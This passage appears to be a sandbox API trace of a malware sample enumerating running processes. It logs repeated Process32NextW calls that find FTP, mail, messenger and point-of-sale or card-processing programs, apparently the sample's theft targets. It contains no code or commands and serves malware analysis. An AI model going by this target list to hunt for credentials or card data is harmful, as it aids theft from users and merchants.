returned 11 [0079.726] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.727] lstrlenW (lpString="svchost.exe") returned 11 [0079.727] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.727] lstrlenW (lpString="svchost.exe") returned 11 [0079.727] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0079.728] lstrlenW (lpString="dwm.exe") returned 7 [0079.728] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0079.728] lstrlenW (lpString="explorer.exe") returned 12 [0079.728] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0079.729] lstrlenW (lpString="spoolsv.exe") returned 11 [0079.729] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.729] lstrlenW (lpString="svchost.exe") returned 11 [0079.729] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0079.730] lstrlenW (lpString="taskhost.exe") returned 12 [0079.730] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0079.730] lstrlenW (lpString="taskeng.exe") returned 11 [0079.730] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0079.731] lstrlenW (lpString="spoken.exe") returned 10 [0079.731] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0079.732] lstrlenW (lpString="cut baby kind.exe") returned 17 [0079.732] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0079.733] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0079.733] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0079.733] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0079.733] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0079.734] lstrlenW (lpString="things apt speaker.exe") returned 22 [0079.734] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0079.734] lstrlenW (lpString="longest.exe") returned 11 [0079.734] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0079.735] lstrlenW (lpString="liberty.exe") returned 11 [0079.735] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0079.735] lstrlenW (lpString="robust.exe") returned 10 [0079.735] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0079.736] lstrlenW (lpString="browse.exe") returned 10 [0079.736] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0079.737] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0079.737] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0079.738] lstrlenW (lpString="blocked.exe") returned 11 [0079.738] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0079.738] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0079.738] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0079.739] lstrlenW (lpString="reno.exe") returned 8 [0079.739] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0079.739] lstrlenW (lpString="vancouver.exe") returned 13 [0079.739] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0079.740] lstrlenW (lpString="africa.exe") returned 10 [0079.740] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0079.741] lstrlenW (lpString="ph-pos.exe") returned 10 [0079.741] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0079.741] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0079.741] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0079.742] lstrlenW (lpString="peaceful.exe") returned 12 [0079.742] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0079.742] lstrlenW (lpString="louise_threshold.exe") returned 20 [0079.742] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0079.743] lstrlenW (lpString="scannerhit.exe") returned 14 [0079.743] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0079.743] lstrlenW (lpString="3dftp.exe") returned 9 [0079.743] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0079.744] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0079.744] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0079.745] lstrlenW (lpString="alftp.exe") returned 9 [0079.745] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0079.745] lstrlenW (lpString="barca.exe") returned 9 [0079.745] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0079.746] lstrlenW (lpString="bitkinex.exe") returned 12 [0079.746] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0079.746] lstrlenW (lpString="coreftp.exe") returned 11 [0079.746] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0079.747] lstrlenW (lpString="far.exe") returned 7 [0079.747] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0079.747] lstrlenW (lpString="filezilla.exe") returned 13 [0079.747] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0079.748] lstrlenW (lpString="flashfxp.exe") returned 12 [0079.748] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0079.749] lstrlenW (lpString="fling.exe") returned 9 [0079.749] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0079.749] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0079.749] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0079.750] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0079.750] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0079.750] lstrlenW (lpString="icq.exe") returned 7 [0079.750] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0079.751] lstrlenW (lpString="leechftp.exe") returned 12 [0079.751] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0079.752] lstrlenW (lpString="ncftp.exe") returned 9 [0079.752] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0079.752] lstrlenW (lpString="notepad.exe") returned 11 [0079.752] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0079.753] lstrlenW (lpString="operamail.exe") returned 13 [0079.753] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0079.754] lstrlenW (lpString="pidgin.exe") returned 10 [0079.754] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0079.755] lstrlenW (lpString="scriptftp.exe") returned 13 [0079.755] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0079.756] lstrlenW (lpString="skype.exe") returned 9 [0079.756] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0079.757] lstrlenW (lpString="smartftp.exe") returned 12 [0079.757] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0079.758] lstrlenW (lpString="thunderbird.exe") returned 15 [0079.758] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0079.759] lstrlenW (lpString="totalcmd.exe") returned 12 [0079.759] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0079.760] lstrlenW (lpString="trillian.exe") returned 12 [0079.760] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0079.761] lstrlenW (lpString="webdrive.exe") returned 12 [0079.761] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0079.762] lstrlenW (lpString="whatsapp.exe") returned 12 [0079.762] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0079.763] lstrlenW (lpString="winscp.exe") returned 10 [0079.764] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0079.764] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0079.765] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0079.766] lstrlenW (lpString="active-charge.exe") returned 17 [0079.766] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0079.767] lstrlenW (lpString="accupos.exe") returned 11 [0079.767] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0079.768] lstrlenW (lpString="afr38.exe") returned 9 [0079.768] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0079.768] lstrlenW (lpString="aldelo.exe") returned 10 [0079.769] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0079.769] lstrlenW (lpString="ccv_server.exe") returned 14 [0079.770] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0079.770] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0079.770] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0079.771] lstrlenW (lpString="creditservice.exe") returned 17 [0079.771] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0079.773] lstrlenW (lpString="edcsvr.exe") returned 10 [0079.773] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0079.774] lstrlenW (lpString="fpos.exe") returned 8 [0079.774] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0079.775] lstrlenW (lpString="isspos.exe") returned 10 [0079.775] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0079.776] lstrlenW (lpString="mxslipstream.exe") returned 16 [0079.776] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0079.777] lstrlenW (lpString="omnipos.exe") returned 11 [0079.777] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0079.778] lstrlenW (lpString="spcwin.exe") returned 10 [0079.778] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0079.779] lstrlenW (lpString="spgagentservice.exe") returned 19 [0079.779] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0079.780] lstrlenW (lpString="utg2.exe") returned 8 [0079.780] Process32NextW (in: hSnapshot=0x180, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, 